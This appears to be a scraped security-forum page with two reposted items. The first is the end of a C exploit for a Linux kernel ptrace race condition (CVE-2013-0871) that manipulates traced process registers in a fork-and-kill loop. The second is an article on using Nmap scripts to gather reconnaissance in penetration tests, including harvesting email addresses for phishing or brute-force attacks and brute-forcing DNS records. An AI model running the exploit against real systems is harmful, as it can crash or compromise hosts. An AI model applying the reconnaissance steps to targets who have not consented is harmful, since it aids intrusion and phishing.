assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD | PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACECLONE)); while(1) { int nuke_pid; int pid2; mask = 0xfffe; assert(!sched_setaffinity(0, sizeof(mask), &mask)); /*Entry */ assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0)); wait(NULL); assert(!ptrace(PTRACE_GETREGS, pid, NULL, ®s)); nuke_pid = nuke_cpu(); regs.orig_rax = 0x3c; pid2 = fork(); if (!pid2) { /* K */ usleep(120000); kill(pid, SIGKILL); printf("."); fflush(stdout); exit(0); } printf("{"); fflush(stdout); if (!ptrace(PTRACE_SETREGS, pid, NULL, ®s)) { printf("+"); } else { printf("-"); } ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL); kill(pid, SIGKILL); kill(pid2, SIGKILL); kill(nuke_pid, SIGKILL); exit(0); } } } int main(void) { while (1) { int pid = fork(); if (!pid) { once(); } wait(NULL); } } [img=http://cxsecurity.com/images/paski/pasek9.png] [B]References:[/B] [COLOR=#292929]http://seclists.org/oss-sec/2013/q1/326 [/COLOR] Sursa: Linux Kernel race condition with PTRACE_SETREGS (CVE-2013-0871) - CXSecurity.com
-
Information Gathering With Nmap Nmap is tool that can perform various activities in a penetration test.The function of NSE (Nmap Scripting Engine) and the scripts that have written so far they can transform Nmap to a multi purpose tool.For example we can use Nmap during the information gathering stage of a penetration test just by using the appropriate scripts.In this article we will examine those scripts and the information that we can extract. One of our first steps it can be to determine the origin of the IP address that our client has given to us.Nmap includes in his database a couple of scripts for this purpose.If we want to run all these scripts we can use the following command as it can be seen in the image below: Nmap – IP Geolocation As we can see the script called an external website (geobytes) in order to determine the coordinates and location of our target. Whois The command Whois can be run directly through the console in Linux environments.However there is a specific script for Nmap that performs the same job and it can be used.This script will return information about the registrar and contact names. Nmap – Whois Email Accounts Email accounts can prove also important in a penetration test as it can be used as usernames,in social engineering engagements (i.e Phishing Attacks)or in a situation where we have to conduct brute force attacks against the mail server of the company.There are two scripts available for this job: http-google-email http-email-harvest The http-google-email script uses the Google Web and Google Groups in order to search for emails about the target host while the http-email-harvest spiders the web server and extracts any email addresses that it discovers.The http-email-harvest is in the official repository of Nmap and the http-google-email script can be downloaded from here. Nmap – Discover Email Accounts Brute Force DNS Records DNS records contains a lot of information about a particular domain which cannot be ignored.Of course there are specific tools for brute forcing DNS records which can produce better results but the dns-brute script can perform also this job in case that we want to extract DNS information during our Nmap scans. Nmap – Brute Forcing DNS Discovering Additional Hostnames We can discover additional hostnames that are based on the same IP address with the nmap script http-reverse-ip.This script can help us to find other web applications that exist on the same web server.It is an external script that can be downloaded from here. Nmap – Reverse IP Conclusion In this article we examined some Nmap scripts (internal and external) that can be used during the information gathering stage of a penetration test and before we start the actual scanning.The information that we have obtained proves that Nmap can perform almost any task with his scripts.If it cannot do something that you want then it is time to write your own Lua scripts and to contribute to the community. Sursa: Information Gathering With Nmap
-
- 1
-